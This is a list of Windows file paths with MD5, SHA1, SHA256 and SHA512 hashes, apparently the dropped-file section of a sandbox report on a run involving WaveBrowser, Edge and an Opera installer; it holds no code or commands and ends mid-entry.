SHA512 0128e6fa75047741a00eefbf0baa8d2c7d23bf215d05a846659a377b702d2c526bfc17b068a7e51323f176e30ed7dda5768748ded296846ab2b99cd64d6a1cc1

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\d97376988e2b1cf8_0

MD5 3bcad197d5a21eedb4eabf9f1375a97b
SHA1 c7d98170a4063daf500f62d3c50e0f7645ceb271
SHA256 ad7cc1f70bc1191c5a9dee0b0f089d6e4316352797317d08614f55e3dab16e71
SHA512 58a4e60bdffc83e606065106822ce8158d0d4a0786e951429a243db85da79fabd20c4df9ab82f41300f84fb8966001d3c7b36d0ebf361afb0cc07e2e593dc6a9

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\1d36563bff1e326c_0

MD5 e434634b89a19ac5cdb53aea52776368
SHA1 cf6188027bf7af0eb979147ee370b16d03459e06
SHA256 a836c77df66e2496751853219a5476dc468752a516313813ff3a11d7307fd0d0
SHA512 08ac07e80e4e9d36698642f10615c90d14440f857b65a68ff501dbfbe8987594a97b9f1a3be9959d32ae43bed19756178dd74a7ada72e3c79b5051254f57a911

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\1d36563bff1e326c_0

MD5 7972a287eca169170ce956d65b5c1e54
SHA1 81f507e7dda05a253106af566404284e90f08048
SHA256 f62adb53158e2f69de45ad1a460c4bc6fd01a49dfcdd2b3c04ca2b56b38a0e95
SHA512 3c7aa50fb5d3d4a3ba87926a5b7e297c96a929b4a60fc2e5c07bb38169d6febf4f9f7c785b9a2fc7abadca64091ed9ab57657efe50695c111c14929ffc098b8f

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\0bdbfe50e92f5665_0

MD5 5183dac116bfff281d4fe9b1e5540477
SHA1 6473b09f3e57be27f75a63df6a417fb6a43d2f9f
SHA256 c6c42d02a613ba295004f12d719d9a5b15e82308e31f4d53038157507ca646b0
SHA512 e591cd41944744432bd7b2bbd95b9b55b0af421a7d356b9743225f7b335692bd92b6468ed97682886b51a71cd7951072039787adcdefaae338f3f98a058232e3

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\f94fb4a7085347cf_0

MD5 594c78b5c059965d95fc4331c3b8adb9
SHA1 efd6a443f364ebdb8512d59ee29b43d3501c7d31
SHA256 7566d3dfefbe57bf0b4eaaf38d59db2315f2689c3db9e3e1e804fdcf24b7eef6
SHA512 dcaa3a6424408577cba41dfb3328a936f86a41b4549aa4476fdf77b7fb7686c58b03b7216eef8712bdf5b21d8bec32b51c34d074673d43f761b5a77ba02ebab3

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\3a7ae3969596fe52_0

MD5 76ffaf2af4406097ee6b325a2de757d0
SHA1 fd990a2567661a9687e1142b5f88f0d04179ebfc
SHA256 a8428fdddec11c4b63381efc32c7c59a37aeb12017777ae258e3ec38dbe8e73a
SHA512 19cb0dc5edfbff8527ad9db96df9bf1c7e53b349a6748a681f39f0f3a53bfb4b8a30d83bac171affa89b0cb92d2cf8bcc30a96b7483975d2726170dd853ce3e9

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\d97376988e2b1cf8_0

MD5 a5a0317123269a6c1a384fd90a1465b6
SHA1 6044a2c596c13731e0cec00ac2f0372a81aef306
SHA256 e57ed86c428b9d5375f4103368af66a5f223c18e196108d3ac38a2f3c6edb7c7
SHA512 dc293ab76a4ff3a0552ff20fba721a8796561da98b43f083ca3c55c8d39540a89cd63c43ecc31d5065d1ca2fa2cbfc40f4b41f6439b65ba6f1da4a4a372e8090

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\1e1b9faadf479543_0

MD5 6aeb8c8387d12634d69b41aa7f8edb48
SHA1 462d06e1a84fc024928e3a78d5c2f22860cd4472
SHA256 788bd0b43327fa8ec056af0bd0754ed0e456d1aff2c4a59a34497d48c95125de
SHA512 5f440ecdcdcc2fd7c1e75a2e410a29739d698ee7dc85b32cde63abccc34dd3a028de32546d6adbf890d008357f1223e35d1a896805844f872e3ef02bcf60763d

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\d0c71056e9e3544f_0

MD5 d4b5d4bccad16b7ca88743225196de43
SHA1 0197b16547a38968fcf2d2b859e52f5229bab340
SHA256 d594fcf1947e18b5e7d40cfa8d25e01fc574dd641a9cb61b2bbaed99ad56b07f
SHA512 75169fa1a57ef9891614526344fc81aa8867de050ce2c0f8c5d8a9d32066805fa367783a9d135c7881d77ec732ca17dcb8cc0b1e22740985951d560afc47cd78

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 a9af9f21b4c25ff9b6f15701fbcd99e8
SHA1 5fc9e52328bdb6e1f5e9e59570ad07349421a47b
SHA256 f8507a41468e26533b50eb2d1d3c96f7b6a8395d2be205614819f6eee5a321e6
SHA512 a9e138ec1598ff823b084bb80e83261fc8aa711406b19c020b1f31b6d3956e1ad96899d24c5c0fc8236cdca1988d43d9e43475214b312d5aa70c425f2c427c84

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Preferences

MD5 c1b6fb099721b64099bfe300e8781d09
SHA1 44edfa699b1a9297b9346d4ca7155ea1cb5aba2e
SHA256 2891b3ba5bfce64f30456cee7eaadcf9121d7b280c0ae513e967071cf3c4df95
SHA512 c2d997b1ac0775ab12df1f9bbc4524b4d59d912c97a21b5dde458b0eab61ed009a4dbbdf6d90ea36c33a163ad42b21990ad52671f2d3cdca2c834368959a8085

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\jppaokafcgimafbkleedlbiekikihfmj\1.0.5_0\images\browser_action16.png

MD5 2be34c39b6d44c742eb895cc57f02912
SHA1 be7de6c5f3d4fb6400b25c104a60661eb2fcf36a
SHA256 79f610be71ed914a61209edfad80a01b094600573ae1ed78f72785d4aca0b078
SHA512 070988ea6769ba5a8ae757ffe15e4286af58212a66be8b4d4929d29b70ae4e7093d9288e9007a3392ab4c66ccaac66a7775526a6841b951b4fdce05c978bd68f

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\Network Persistent State~RFe5a9dc8.TMP

MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\Network Persistent State

MD5 9d6fd8140c225a95637e42f5c1c40f9f
SHA1 a91f80017f3833582902845c8d01a9ec030d77ba
SHA256 3eaac85e631c20948a4bbae6fe41d6fe1d41c385078f7b68aa596340817bcc5c
SHA512 d1236e3cecf5c74381d5aed8f080bbc44743473749fcf0948811e8035cde215fffd08a1efbd9e74825bc42a43fc7a03a83fc61fe8c3bc505079361e9914348b7

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1571796420\manifest.json

MD5 654203e9075ca9ee68fd2fde66592b6a
SHA1 591441f84ff47082c13752dc0a5730e0141aa753
SHA256 9f54517183e7b3d5c40f2349b7f998f90e6f7b31bcf705c73414a8759390b3cd
SHA512 8b7ece80637a4a3c418858831e6829d1c52a4198934d46d5c10c7561b030f63c4991bb572fa514c892f1358fe524abdff0eef67ce5f3ba3b8fc709d4f46b91c8

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\PKIMetadata\1054\kp_pinslist.pb

MD5 b2f5d1103104fc71aeefed0e490d7646
SHA1 09a9741e1d61b480d644c68f20d34a6dc158c86f
SHA256 611c85beee8342a1ebe375ea3b0a2dc9dfe87144c2a835982cf2f40aa93cf710
SHA512 3ad3b72b50c97df35c064d8a8a3be22506f79362f897f307d0416cba2122e44b86d20ce3b9dbfd9744cbd9596639dde508175546b075cd4f52dbaf2808cd49a5

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\PKIMetadata\1054\crs.pb

MD5 a5ce6498c85fd6192c0cf8163dd1d78e
SHA1 0aff2338c879a878cd04c13c760133d9d00d3725
SHA256 de20add60a38918cb64a20f26a13d59826f85c2ce3991dc4256f4c93c6e0e729
SHA512 199e5db476382bac2fae6f3daba68a5d4013848c2ba82989dafaa1cb55922d39b3ec4fb428c1f7767321a1960d83e2bf642bd51e11f141ba96bc4bd006d29342

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 895d9b9a77d87e99655783559f992843
SHA1 73cce8479eab739f85f9d4135decc2b0acd79ac0
SHA256 de735b9db4e627aaabee28bb0f1064715cec7e677704cc1cca69f68c8a6da66c
SHA512 4e54cbce00bdaa071b0e1f510bea0dc392c0bc72c5383993717cd7e458b7c04a6f18a2f503864ea62c669de107f80667bd632cd03eced93a7286012519015ba2

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Local State

MD5 f2cbb790deba11dc9e7ee3867591347a
SHA1 ac892b932d7d17cae35a89d12741430b97809c60
SHA256 efa4b942c078f5d80317b7cf604bab7a795d943365084402fc7c33a0c4686d1e
SHA512 7fa03312753c597a05cd4a39c91cfe5167dcb23b32657cf556bd1dfcb3079e92f2c5f4d684cf276c8b1a71831e74eb31b832b7410fd34dc404c86bdb67ab87df

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5acb02.TMP

MD5 a3d729920458d22f8ed39ac4c19f0e70
SHA1 6799181a604bb3dd2716bcb0bcc9bb36622d9e08
SHA256 999faca7757f325f067b75702adb0c41fb2e40f8b5da8f3ce5222424ad614f4d
SHA512 38a4f784c401d8d79a75a56310f3085294a2604e233aebe46d10ce6083851a25e8cb7cc2f195bd24e888d5741a33b19808f6dc8322830eb2d96c14d70248ebf1

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 865884d131087a6cb4d99de7cf59c622
SHA1 c152448c89897cd2ff27e0ca301d26671722cf47
SHA256 63f11be2322cf00d90049622b01099f08208fd52a05563ed0311f4b3c2737166
SHA512 ac5e7305c715c66049c0d79f12f434b33330c5aa6f4c8f85ca8a50690c2525378d0c3ef86356ac2190354d778e03452a1fbd9d89d33522c33fa5f7edf9edc13b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 e9bab211948c021e89f679c196bb71ea
SHA1 dda57d11ac0007aa4ed4e8bc698b5dabdfaf09b6
SHA256 999b832baba39bbbd5dc84bb001ed36a41791f1554594ada079f9e4457969863
SHA512 b4c5be638031f5ce0c2a619835bff87aee3d89f4237c326cc2a2da5a6bae540ae99409570c5b7d7de3784af44d2d571893bd20699221bca4ee2a39888f812bf2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\9c54e282-2884-4108-94ce-92af5f751dc9.tmp

MD5 f15a7c3542cb498e47f62d80a1416714
SHA1 10284e9bebdeae09cfea043ba5b2f0f583c98712
SHA256 1165545630c8c88e60051e577659ef7bc2086a8a0bafd1548837e57b9accdb15
SHA512 36b8bfaeaa865556b91996c389aaf432a333fcda3ec8209f2a762c7b2640033a2ffdd1b9f03b78570582f5d18a8c2f23ee78a7a23679e987d2e0b8ca767c2c59

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1615494896\manifest.json

MD5 7eedcdd2a0fb64fc1400c8e84cd57e6d
SHA1 27a721c04ff8beffdc326a870cb25fc58be57b1c
SHA256 b411803a7f72f77780094b975b2a5d67c011cd1c79523c30a0473a0a72fe3842
SHA512 335a3d4847abae684ceddfeb5036a6cd6e30f8b15b1783de7c65a3ce1bf59b78f5c5d82877702918833cb26238f8bc6d09217c07cd58832e14f83083ebfd175d

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\SafetyTips\3039\safety_tips.pb

MD5 73ff7e75b2f2b35ea938245dc281ab80
SHA1 6ed1a2c73d99b1baca893b0a706c2b3c9eb88179
SHA256 8853c21ac4bbf1df26a67809819676dd7b88fa3c5733bef7404dbd8c2d6a6c63
SHA512 ae4b4b7a5a11d8398683f5014609e08f0ff4423e307a6dc558c56222bc88bd015781c85f2d3a12d1e2745a5d04f9a95e5975f5329e03685c0a3b01e7abe6bdf3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 77874e7a291fa8ebab3287a43993d2a6
SHA1 364a10765449a5fa7a1e0336d63b031a0e9c2f6b
SHA256 3cd0d60557e5575c7198bf3b10dbd12581613621347e5464daf5b117d5d8db4a
SHA512 fcdb4d7e0125669a859aaad879d93f406d69dc44c7751cd3f93596579a131b419dc1d8a9a9324ba2b5ee078f6c5f9a9cb74c347639242d1b3778e2603875f6e3

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 1aed19ce0be2bc82686b0b940eee7c96
SHA1 de12dea11d1a0eedae61b5ddf8d8fcd92eb0e008
SHA256 4d2646839137b4dc11ed564c66390caa171c5e559913e70b19dd43e78fe7f987
SHA512 066a048e0d243ce460741ca71717a5f687d51657c57b49bd6404c705cd02743647205415edc93c3a58c531ff21ba90da71f108680c9a031c1310510a72aac526

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Crowd Deny\2023.11.29.1201\Preload Data

MD5 aa3ef996bce08a9c34fe513d078d1ee3
SHA1 21688d164d442d37fd5471e13b41b1d216f88d37
SHA256 09d2155be71880356a993fabacc2ce01f4fbab99497ec157b53a094b8927c039
SHA512 285c85ca55fa54a1a12c47909b8575e8388570a76f238dc75aedece12e58dc0a3fe15edeffc41af14bb7944a0682de76f0ee0d6502d15973f8d9b1c5b2f828bd

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_351187361\manifest.json

MD5 225c08f039684dfb54aac162dd9d5b9e
SHA1 426bd1044bfcd5e1a10b58ed1f217a6b33b2e9c3
SHA256 98306b21c0aaf9546301f4ab7fed785dc369c67e2fd2ad4d62fc63f072a51e3c
SHA512 d6ff6cea0c08d13a642996a110432792048d21160c04543fbcacc60abcde362318e13a42fcd7520bc7673e98544a68a3eb6cc4338f4f4d8e90e0dfd5c40b77b7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 876c57ed7dc70594103962278ff44b3c
SHA1 b1f425ccd9ab84647ca348fd2cf67941c61916fe
SHA256 fdc50e607b16262d2a5dd27084a2f6604ddb1b30d53f15ca3e0207c9d58a3d27
SHA512 e6cffd73bc27833c0ee35850f4bfdc7e79f11260a60fecde4f0bec0d0c83a057caccabba1a2bae3dbc394484a9cb3f2b46aaed8f74359d390cf23c78df57b573

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 81fdf3d0dac41ae94f52fb5e9c5e4d86
SHA1 c08b1d603f124978a9e0814df04af09c01baa3c3
SHA256 e261cfcb9ceb9c329f012f0e9dba7f825da89f1dfe98b7bf295f99bef461f51f
SHA512 2bf0679a1bf9c7277f2ff50e883e4ad375d2180166f14a54999bc989b0b464cfc9e71e426f0115ed69224f9ac51787c01bff7005da34a6ad9187a451b12e39e1

C:\Users\Admin\Downloads\OperaSetup.exe

MD5 65c35b277e1d28eed36226e17a5df9e6
SHA1 476ae6988db36d751d14eed2edc7e6705685f9f7
SHA256 f5d1280a37489cac4d3b34aa25bf6c0fd9941312be2a9e7ed3e5e11857585e4c
SHA512 8be027931bddc96ede431d18b913fce071e5df7e70f486057e63c38b82ae72d167d2a16c9b7d37f0afe536c2c0b2a3434242bcd20eb8f17ca20cbbe537140357

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-as.hyb

MD5 8961fdd3db036dd43002659a4e4a7365
SHA1 7b2fa321d50d5417e6c8d48145e86d15b7ff8321
SHA256 c2784e33158a807135850f7125a7eaabe472b3cfc7afb82c74f02da69ea250fe
SHA512 531ecec11d296a1ab3faeb2c7ac619da9d80c1054a2ccee8a5a0cd996346fea2a2fee159ac5a8d79b46a764a2aa8e542d6a79d86b3d7dda461e41b19c9bebe92

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-hi.hyb

MD5 0807cf29fc4c5d7d87c1689eb2e0baaa
SHA1 d0914fb069469d47a36d339ca70164253fccf022
SHA256 f4df224d459fd111698dd5a13613c5bbf0ed11f04278d60230d028010eac0c42
SHA512 5324fd47c94f5804bfa1aa6df952949915896a3fc77dccaed0eeffeafe995ce087faef035aecea6b4c864a16ad32de00055f55260af974f2c41afff14dce00f3

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\hyph-nb.hyb

MD5 677edd1a17d50f0bd11783f58725d0e7
SHA1 98fedc5862c78f3b03daed1ff9efbe5e31c205ee
SHA256 c2771fbb1bfff7db5e267dc7a4505a9675c6b98cfe7a8f7ae5686d7a5a2b3dd0
SHA512 c368f6687fa8a2ef110fcb2b65df13f6a67feac7106014bd9ea9315f16e4d7f5cbc8b4a67ba2169c6909d49642d88ae2a0a9cd3f1eb889af326f29b379cfd3ff

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1815988132\manifest.json

MD5 2617c38bed67a4190fc499142b6f2867
SHA1 a37f0251cd6be0a6983d9a04193b773f86d31da1
SHA256 d571ef33b0e707571f10bb37b99a607d6f43afe33f53d15b4395b16ef3fda665
SHA512 b08053050692765f172142bad7afbcd038235275c923f3cd089d556251482b1081e53c4ad7367a1fb11ca927f2ad183dc63d31ccfbf85b0160cf76a31343a6d0

C:\Users\Admin\AppData\Local\Temp\Opera_installer_2408260550419997572.dll

MD5 b84992e5212817c964aa64b35dbf0ac6
SHA1 9361bf7b334f06ee3b3fd0770bf8dea0c2518146
SHA256 a3a7dab81491b07cda3d6c5d8ed1655c9b39c6db01a532d7d429b2f0aece3fc8
SHA512 9b61ab193514505c64fdad8b7457bec96ae7af1835a16d60f781e1240d29f20fa72479d395e3ff45f42197ffc82e96eac107f9d19ef3274efaddd71ee66ba2a4

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe

MD5 96be1b5fb15ec0912b8de6133d283180
SHA1 86d5f8af9018f27045389a48a66dffa7e1f8daf1
SHA256 04eead61515be0515643281aa8f29809facddd419c5bc06450d031d64e60461c
SHA512 c649720a6ac4409b32663f9987aca971e1475b7e30c2b7c2c31467a1214228f8d93f154580b0436933f86f998e8079d0df7e2f67b20adfa2aaaaff075a16ed32

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 62852a57710e78c7617535c56feca168
SHA1 73fffa28cca6c4af9959750e2f04659a02a79fa6
SHA256 c40a9371d9861b481d7158d71ae5c502a9453bad098d32b8c3e72a0b9e085498
SHA512 26d336a4e59a3a27ebf01b90c60c4b11507fdab0aaa36b1b3aa93b35b7358c21b4424a9911150c3c079e4be981ba4bfdb390836dba2416d2bda4235f837853de

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 625145c446932ffddc5c083dd1cb28fd
SHA1 531c77c823962ea80670d8e758b25cc452ddb75e
SHA256 b721c7faebb8b924ef0f10ac7a29648621dd8dadda2ab4bb078ae8916248ed2d
SHA512 c2f93aeff8861d4c6a299a04617e0a3d38a0eb054326ca93a203a4ec2bac1f35d0fd94bb7b1afbffde239960db2c181c6de80c143e4e4f946a4240d259e59d51

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

MD5 ed124bdf39bbd5902bd2529a0a4114ea
SHA1 b7dd9d364099ccd4e09fd45f4180d38df6590524
SHA256 48232550940208c572ebe487aa64ddee26e304ba3e310407e1fc31a5c9deed44
SHA512 c4d180292afa484ef9556d15db1d3850416a85ad581f6f4d5eb66654991fa90f414029b4ce13ed142271a585b46b3e53701735ee3e0f45a78b67baa9122ba532

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000006

MD5 60f8cd04587a51e31b51d1570d6f889a
SHA1 88574c41d0ab81721b275252464da5c7927a4835
SHA256 27cb4390e32a97375dd4987ae000406933bceba5199f17893711e782333b81cb
SHA512 84c12448ac55dd819749fef9be9919111a3df4bc51e66d2fa9f7376c11c101ed1349cb36aa119aa873cdd6c0c91027e201fbe23c2c83b89bc900a4d9077bcc52

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003

MD5 d6b36c7d4b06f140f860ddc91a4c659c
SHA1 ccf16571637b8d3e4c9423688c5bd06167bfb9e9
SHA256 34013d7f3f0186a612bef84f2984e2767b32c9e1940df54b01d5bd6789f59e92
SHA512 2a9dd9352298ec7d1b439033b57ee9a390c373eeb8502f7f36d6826e6dd3e447b8ffd4be4f275d51481ef9a6ac2c2d97ef98f3f9d36a5a971275bf6cee48e487

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

MD5 76a3f1e9a452564e0f8dce6c0ee111e8
SHA1 11c3d925cbc1a52d53584fd8606f8f713aa59114
SHA256 381396157ed5e8021dd8e660142b35eb71a63aecd33062a1103ce9c709c7632c
SHA512 a1156a907649d6f2c3f7256405d9d5c62a626b8d4cd717fa2f29d2fbe91092a2b3fdd0716f8f31e59708fe12274bc2dea6c9ae6a413ea290e70ddf921fe7f274

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000007

MD5 56d57bc655526551f217536f19195495
SHA1 28b430886d1220855a805d78dc5d6414aeee6995
SHA256 f12de7e272171cda36389813df4ba68eb2b8b23c58e515391614284e7b03c4d4
SHA512 7814c60dc377e400bbbcc2000e48b617e577a21045a0f5c79af163faa0087c6203d9f667e531bbb049c9bd8fb296678e6a5cdcad149498d7f22ffa11236b51cb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000008

MD5 b38fbbd0b5c8e8b4452b33d6f85df7dc
SHA1 386ba241790252df01a6a028b3238de2f995a559
SHA256 b18b9eb934a5b3b81b16c66ec3ec8e8fecdb3d43550ce050eb2523aabc08b9cd
SHA512 546ca9fb302bf28e3a178e798dd6b80c91cba71d0467257b8ed42e4f845aa6ecb858f718aac1e0865b791d4ecf41f1239081847c75c6fb3e9afd242d3704ad16

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000009

MD5 038c1f469deb6932520d09a340856ebc
SHA1 8b361a8c0489b69e9ef4e132e36f20c161c5ec1e
SHA256 5fafae77cfdc093baea4dd31485ced7dc4ab8e734311b3c2aaac1dc2ed95f451
SHA512 fc3123f11323a9f18f5e1bb31c61fa229e0de8b6d07bb01b220605cfd9ba499ed63e76be0b7146e096412cc94486bdba0ee102982b38b258958c6327fc6bb6c8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 76dde55406330a79e21cdddfd7676939
SHA1 0e9be6f53032bf7d9835050cf613515784305e4f
SHA256 0742a327a1ff9df01fa58c649bf28f2aff83e068752115888eb74f3dda46c2c7
SHA512 05c736eff5ba04b87d4ca564680e742c248a38b7a5de39e95e58b8a23d0f8a7930388c802ab6e8be63684ba4392e179a8a9f88167b5d294010deacbcea32d383

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\IndexedDB\chrome-extension_gbohaofhodnpniflcnancekmknlomeck_0.indexeddb.leveldb\LOG.old~RFe5bf922.TMP

MD5 155a34e6058b9b847d5e14e9ce413c37
SHA1 cdc089d0e68074e0c64adc0964e2612c7f3c6dba
SHA256 778020fbe9a56addf2ca69506ef66c6b76fdbe72262240adf620336f79afabf2
SHA512 3eb30ab232912d7e585c479acf9bc84b286f97a2e3279c7128f50f43777fdc304c6caff0237149667ab44f79263889166a453f489bf42a9c59f89e746671f34e

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\IndexedDB\chrome-extension_gbohaofhodnpniflcnancekmknlomeck_0.indexeddb.leveldb\LOG

MD5 0ab3f1729d7d4c7d57a2df25873a4539
SHA1 5301b85c0e137dcde9a9f93e3a8e8e46804b6337
SHA256 571226f03f63c526715c5c0da64a9dc38b281fa3528712cbb578b2371a838fec
SHA512 8189ae6502655dbb7e3b5a4f064c28814289849ff2c980afabb6847327a9fa8ec735eee0c773f4ddef90d16aba57e8f69a6360325fa97bffdedf35efa511eb09

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\IndexedDB\chrome-extension_gbohaofhodnpniflcnancekmknlomeck_0.indexeddb.leveldb\000003.log

MD5 83889c511cd95ab68f1b0b2485dc9d9d
SHA1 4cd1185e25745a12966f14549bcf674d9b0229ba
SHA256 e91889937cf4f5ea1d13fe8f5c4a54d6c94f4d1c527d5e8bfe1e2fc272aeb643
SHA512 6abca5f05a8ef9b0366aa4683d5fc1d0537fb01b703b601b5a14a3010da3ac45c940065bf60768ddb2c192c28e44ecf771e1759da1dc0256ac843e1db4a26e02

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002

MD5 0d2283b0df70bc0217118f5c6d1fd836
SHA1 0aaa2e0daa0f0671fbf7817e222fcd777be523d0
SHA256 fb02c03e84b9a15ea357644f15643bc90eb9c6ef6532e1c82ecd052df34c2abb
SHA512 16071fce7468cc47fd7a57dc6913cbf41e142fd16b3f145dc30b13fb4a84a05fa3211d3b435ace7378c76682a1afc49e45d180eb88f6d32b0deaa2266196b2f0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000c

MD5 b07f576446fc2d6b9923828d656cadff
SHA1 35b2a39b66c3de60e7ec273bdf5e71a7c1f4b103
SHA256 d261915939a3b9c6e9b877d3a71a3783ed5504d3492ef3f64e0cb508fee59496
SHA512 7358cbb9ddd472a97240bd43e9cc4f659ff0f24bf7c2b39c608f8d4832da001a95e21764160c8c66efd107c55ff1666a48ecc1ad4a0d72f995c0301325e1b1df

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000b

MD5 209af4da7e0c3b2a6471a968ba1fc992
SHA1 2240c2da3eba4f30b0c3ef2205ce7848ecff9e3f
SHA256 ecc145203f1c562cae7b733a807e9333c51d75726905a3af898154f3cefc9403
SHA512 09201e377e80a3d03616ff394d836c85712f39b65a3138924d62a1f3ede3eac192f1345761c012b0045393c501d48b5a774aeda7ab5d687e1d7971440dc1fc35

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00007d

MD5 1a4ec834eefa5ef9817d0763347f8126
SHA1 8869d93dfa0125f9bdb906552610a28ff246594b
SHA256 2986099e913b3ce415d278607086a00da2f82f2807f226a61082c22c6f34553b
SHA512 fe32171df5390b27462ffc9e2122027eebaaeb1db46af2da01dff7d29c18873af8d4c86b0a04e09953025053216d5113740fba36ec43c7405d6db31b30d9e4a9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00000e

MD5 f930621607e050dff86f94bbf4806b73
SHA1 d06bdf16d5794550b78713955629c465b6970676
SHA256 fe97ff9a43f7f196dcd9088da3818e6f80ecdc2ad8937a5bd4a52c8b3979a09e
SHA512 df4c634c95cbc63c44c0f884817333fdb3965d225fbcf008d134a12ea99d05965b043c4f74bbe57f8356fd7f698fde30fe34638387ffcb8ca1226fe7c8b00cb7

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_622463324\manifest.json

MD5 fb195043cfc35ce711b45934e387267b
SHA1 6f1aaafee57a3da2687e9fc8defe2dbc7cba0e07
SHA256 aeb364b60303212808fac02eb490ee5b054ae843ce084376e5981ef8767e5198
SHA512 bd7fee1d6f8e51137c849d76ff53f3b501d60ddce83cce18f3a217703d3d8b1a1cc7696b656c666d4f6de62a17ea2407c857137d12e0b6ac7bcdde4b3c8ff86b

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\ZxcvbnData\3\ranked_dicts

MD5 959460a18173908111523bbf4c39073e
SHA1 c42a9a7042f6d87a6a9de7f9bf378f1fe9485fcc
SHA256 5820d0bf9cfc363ff929492b1eb6df430039f4ac0e212a5b5411f7c2614f79d0
SHA512 291decc0f58cf71d7929a52d2c21a07590c02bcd202b73fb20391d6d0c7dcbe3aec24e02606f22dbd589ee2546a0eb8414c232f74ec646a1f26496c280705600

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 5b050f9d2353f281a2c45b10bfdc1663
SHA1 b2601e23c273d640275d7a3333d6c1e6981184e8
SHA256 fbf87321f93b933ce67abe27b9609b94c9ee70a1b5b368f9a81eecebabc0386e
SHA512 258f2d328a29935ce9309547cbde5f8c71cc7be29c17962d708f7faea5cbceed103c326bcda5d638e5353599fbbd2dc6b7a26417b50077f226e9f0ba5a53bcec

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 e187e05ad962357af9c34b0ea397de7b
SHA1 6546cb3d7df1b3010077abc7570e6c7c01374ae7
SHA256 d173a256c57874d779e45ea822edbcad1b31be08abd9d27dbe19b0ddba31dfae
SHA512 5ebafd6f884f2b8d004b7a0bf0d179bfe63a7d8b43529851e8d9ca9e58eefd7902fcdf00b463f43bf23cb08b8d32699dbd90553f0b21f5e49965d430df09249c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 4e5d19c9ffeb91064f96ba517e6564c3
SHA1 e60febc11aece14f5e0892e85177b6a62b444df5
SHA256 f5da245a0d4189c7751d51ba73793b41c0e5da8d6a31dad461126ac1ed11dfb6
